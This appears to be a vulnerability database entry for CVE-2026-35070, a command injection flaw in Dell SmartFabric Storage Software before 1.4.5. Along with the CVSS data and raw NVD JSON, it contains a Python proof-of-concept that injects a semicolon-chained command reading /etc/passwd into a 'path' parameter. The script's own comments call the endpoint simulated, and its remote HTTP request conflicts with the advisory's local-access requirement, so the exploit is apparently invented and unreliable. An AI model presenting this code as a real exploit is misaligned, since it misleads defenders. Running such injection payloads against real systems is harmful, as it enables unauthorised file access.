CVE-2026-35070

Description

Dell SmartFabric Storage Software, versions prior to 1.4.5, contains an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Filesystem access for attacker.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dell SmartFabric Storage Software < 1.4.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import urllib3

# Disable SSL warning for local testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit_cve_2026_35070(target_ip, attacker_command):
    """
    PoC for CVE-2026-35070 Command Injection.
    Note: Requires high privileges and local access context.
    """
    # Simulating a vulnerable endpoint parameter
    # Example: /api/config/backup?path=<user_input>
    url = f"https://{target_ip}/api/v1/backup"
    
    # Payload injection using semicolon to chain commands
    # Example: legitimate_input; <malicious_command>
    payload = f"/var/log/backup.log; {attacker_command}"
    
    params = {
        "path": payload
    }

    try:
        print(f"[*] Sending payload to {url}...")
        response = requests.get(url, params=params, verify=False, timeout=5)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if command executed.")
            print("[+] Response body:")
            print(response.text)
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.exceptions.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Target configuration
    target = "192.168.1.100" 
    # Command to execute (e.g., creating a file or reading /etc/passwd)
    cmd = "cat /etc/passwd > /tmp/poc_output.txt"
    
    exploit_cve_2026_35070(target, cmd)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35070
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35070
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35070/
[4] VulDB https://vuldb.com/cve/CVE-2026-35070
[5] https://www.dell.com/support/kbdoc/en-us/000466942/dsa-2026-235-security-update-for-dell-networking-smartfabric-storage-software-vulnerabilities

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35070", "sourceIdentifier": "[email protected]", "published": "2026-05-20T10:16:26.677", "lastModified": "2026-05-20T13:56:48.777", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell SmartFabric Storage Software, versions prior to 1.4.5, contains an Improper Neutralization of Special Elements used in a Command ('Command Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to Filesystem access for attacker."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000466942/dsa-2026-235-security-update-for-dell-networking-smartfabric-storage-software-vulnerabilities", "source": "[email protected]"}]}}